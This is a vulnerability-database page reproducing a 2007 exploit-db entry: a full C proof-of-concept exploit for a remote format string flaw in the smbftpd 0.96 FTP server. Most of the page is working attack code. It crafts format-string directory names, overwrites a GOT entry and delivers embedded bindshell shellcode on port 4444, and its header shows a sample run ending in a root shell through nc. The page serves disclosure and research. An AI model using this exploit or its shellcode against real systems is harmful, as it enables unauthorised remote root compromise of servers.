Lucene search
K

smbftpd 0.96 - SMBDirList-function Remote Format String

🗓️ 01 Oct 2007 00:00:00Reported by Jerry IllikainenType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Remote format string vulnerability in smbftpd 0.96 allows exploitation via crafted input.

Code
/*
 * smbftpd 0.96 Proof of concept
 * tested with smbftpd 0.96 compiled with gcc 3.3.6
 *
 * 1. write jumpcode to `BSS`
 *      mov dx, 0x1234
 *      pop eax
 *      cmp ax, dx
 *      jne $-4
 *      jmp esp
 * 2. overwrite a GOT entry with the addr to `BSS` & send shellcode
 *
 *  jerry:~> ./bleh -h localhost
 *  [+] GOT: 0x80591d8 - .bss (jmpcode): 0x805a791
 *  [+] localhost:21 (user: anonymous pass: )
 *  [+] PASV
 *  [+] writing jumpcode
 *  [+] PASV
 *  [+] overwriting GOT entry and sending shellcode
 *  jerry:~> nc localhost 4444
 *  id
 *  uid=0(root) gid=0(root) euid=1002(ftp) egid=1002(ftp) groups=1002(ftp)
 *
 *
 *  - Jerry Illikainen <[email protected]>
 *
 */

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdlib.h>

#define GOT 0x080591d8 // GOT entry for chdir
#define BSS 0x0805a791 // this is where the jumpcode will be written

#define DEBUG(d) if (debug) d;
#define MAXPATH 255
#define BUFSIZE 512

unsigned int debug = 0;

/* bindshell (port 4444) from metasploit.com
 * restricted chars = 0x00 0x0a 0x0d */
unsigned char shellcode[] =
	"\x31\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa3"
	"\xef\xd7\xdb\x83\xeb\xfc\xe2\xf4\x92\x34\x84\x98\xf0\x85\xd5\xb1"
	"\xc5\xb7\x4e\x52\x42\x22\x57\x4d\xe0\xbd\xb1\xb3\xb2\xb3\xb1\x88"
	"\x2a\x0e\xbd\xbd\xfb\xbf\x86\x8d\x2a\x0e\x1a\x5b\x13\x89\x06\x38"
	"\x6e\x6f\x85\x89\xf5\xac\x5e\x3a\x13\x89\x1a\x5b\x30\x85\xd5\x82"
	"\x13\xd0\x1a\x5b\xea\x96\x2e\x6b\xa8\xbd\xbf\xf4\x8c\x9c\xbf\xb3"
	"\x8c\x8d\xbe\xb5\x2a\x0c\x85\x88\x2a\x0e\x1a\x5b";


void usage (char *arg)
{
	printf("%s [options]\n"
		   "\t -h <host>\n"
		   "\t -p <port>\n"
		   "\t -u <usernmae - default anonymous>\n"
		   "\t -P <password - default none>\n\n", arg);
	exit(1);
}

int sock (int port, char *host)
{
	struct hostent *h;
	struct sockaddr_in addr;
	int s;

	if ((h = gethostbyname(host)) == NULL)
	{
		perror("[!] gethostbyname");
		exit(1);
	}
	if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("[!] socket");
		exit(1);
	}

	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);
	addr.sin_addr = *((struct in_addr *)h->h_addr);
	memset(addr.sin_zero, '\0', sizeof addr.sin_zero);
	if (connect(s, (struct sockaddr *)&addr, sizeof(struct sockaddr)) == -1)
	{
		perror("[!] connect");
		exit(1);
	}
	return s;
}

char *s_send (int s, char *m, char *fmt, ...)
{
	static char buf[BUFSIZE];
	char str[BUFSIZE];
	ssize_t nb;
	va_list ap;

	va_start(ap, fmt);
	vsnprintf(str, BUFSIZE-1, fmt, ap);
	va_end(ap);
	if (send(s, str, strlen(str), 0) == -1)
	{
		perror("[!] send");
		exit(1);
	}
	DEBUG(printf("send: %s\n", str));

	for (;;)
	{
		nb = recv(s, buf, BUFSIZE-1, 0);
		buf[nb-1] = '\0';
		if (m == NULL)
			return buf;
		else if (strstr(buf, m) != NULL)
			return buf;
	}
}

void fmt (int *jmpaddr, int *jmpc, int got, char mkd[][MAXPATH])
{
	unsigned char a[4], b[4];
	char *dir = mkd[0];
	unsigned int i, offset = 1052, start = 256, base = 4;
	int *pa = (int *)jmpaddr[0], *pb = (int *)jmpc[0];

	for (i = 0; i <= 4; i++)
	{
		a[0] = (int)pa >> 24;
		a[1] = ((int)pa & 0xff0000) >> 16;
		a[2] = ((int)pa & 0xff00) >> 8;
		a[3] = (int)pa & 0xff;

		b[0] = (int)pb >> 24;
		b[1] = ((int)pb & 0xff0000) >> 16;
		b[2] = ((int)pb & 0xff00) >> 8;
		b[3] = (int)pb & 0xff;

		snprintf(dir, MAXPATH-1,
				"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
				"%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
				a[3], a[2], a[1], a[0],
				a[3] + 1, a[2], a[1], a[0],
				a[3] + 2, a[2], a[1], a[0],
				a[3] + 3, a[2], a[1], a[0],

				b[3] - 12 + start - (base + 4 - (base%4)), offset,
				b[2] - b[3] + start, offset + 1,
				b[1] - b[2] + start, offset + 2,
				b[0] - b[1] + start, offset + 3);
		
		dir = mkd[i];
		if (i < 3)
		{
			pa = (int *)jmpaddr[i];
			pb = (int *)jmpc[i];
		} else {
			pa = (int *)got;
			pb = (int *)jmpaddr[0];
		}
	}
}

int main (int argc, char **argv)
{
	int s[2], c, port = 21, pasv[5];
	unsigned int i;
	char *host = NULL, *user = "anonymous", *pass = "", *tmp, *p;
	char mkd[5][MAXPATH], sc[2048];
	int 
		got = GOT,
		jmpaddr[] = { BSS, BSS+4, BSS+8 },
		jmpc[] = {
			0x1234ba66, // mov dx, 0x1234   - 66 ba 34 12
			0xc2396658, // pop eax          - 58
			0xe4fffa75  // cmp ax,dx        - 66 39 c2
                        // jne $-4          - 75 fa
                        // jmp esp          - ff e4
		};

	while ((c = getopt(argc, argv, "h:p:u:P:?")) != -1)
	{
		switch (c)
		{
			case 'h':
				host = optarg;
				break;
			case 'p':
				port = atoi(optarg);
				break;
			case 'u':
				user = optarg;
				break;
			case 'P':
				pass = optarg;
				break;
			case '?':
			default:
				usage(argv[0]);
				break;
		}
	}
	if (host == NULL)
		usage(argv[0]);

	printf("[+] GOT: %p - .bss (jmpcode): %p\n", (void *)got, (void *)jmpaddr[0]);
	fmt(jmpaddr, jmpc, got, mkd);

	printf("[+] %s:%d (user: %s pass: %s)\n", host, port, user, pass);
	s[0] = sock(port, host);
	s_send(s[0], "331", "USER %s\n", user);
	p = s_send(s[0], NULL, "PASS %s\n", pass);
	if (strstr(p, "230") == NULL)
	{
		printf("[!] login failed\n");
		exit(1);
	}
	p = s_send(s[0], NULL, "MKD %s\nMKD %s\nMKD %s\n", mkd[0], mkd[1], mkd[2]);
	if (strstr(p, "257") == NULL)
	{
		printf("[!] couldn't make directories\n");
		exit(1);
	}

	printf("[+] PASV\n");
	p = s_send(s[0], "227", "PASV\n");
	if (strtok(p, ",") == NULL)
		exit(1);
	for (i = 0; i < 5; i++)
	{
		if ((tmp = strtok(NULL, ",")) == NULL)
		{
			printf("[!] aborting\n");
			exit(1);
		}
		pasv[i] = atoi(tmp);
	}
	s[1] = sock(pasv[3]*256+pasv[4], host);

	printf("[+] writing jumpcode\n");
	s_send(s[0], NULL, "NLST -R\n");
	s_send(s[0], NULL, "RMD %s\nRMD %s\nRMD %s\n", mkd[0], mkd[1], mkd[2]);
	close(s[1]);

	s_send(s[0], NULL, "MKD %s\n", mkd[3]);
	printf("[+] PASV\n");
	p = s_send(s[0], "227", "PASV\n");
	if (strtok(p, ",") == NULL)
		exit(1);
	for (i = 0; i < 5; i++)
	{
		if ((tmp = strtok(NULL, ",")) == NULL)
		{
			printf("[!] aborting\n");
			exit(1);
		}
		pasv[i] = atoi(tmp);
	}
	s[1] = sock(pasv[3]*256+pasv[4], host);

	memset(sc, 0x90, sizeof(sc)); // some nops before and
	memcpy(sc+3, "\x34\x12", 2); // after the "mark"
	memcpy(sc+12, shellcode, sizeof(sc)-12);
	printf("[+] overwriting GOT entry and sending shellcode\n\n");
	s_send(s[0], NULL, "NLST -R%s\n", sc);
	return 0;
}

// milw0rm.com [2007-10-01]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2007 00:00Current
7.4High risk
Vulners AI Score7.4
40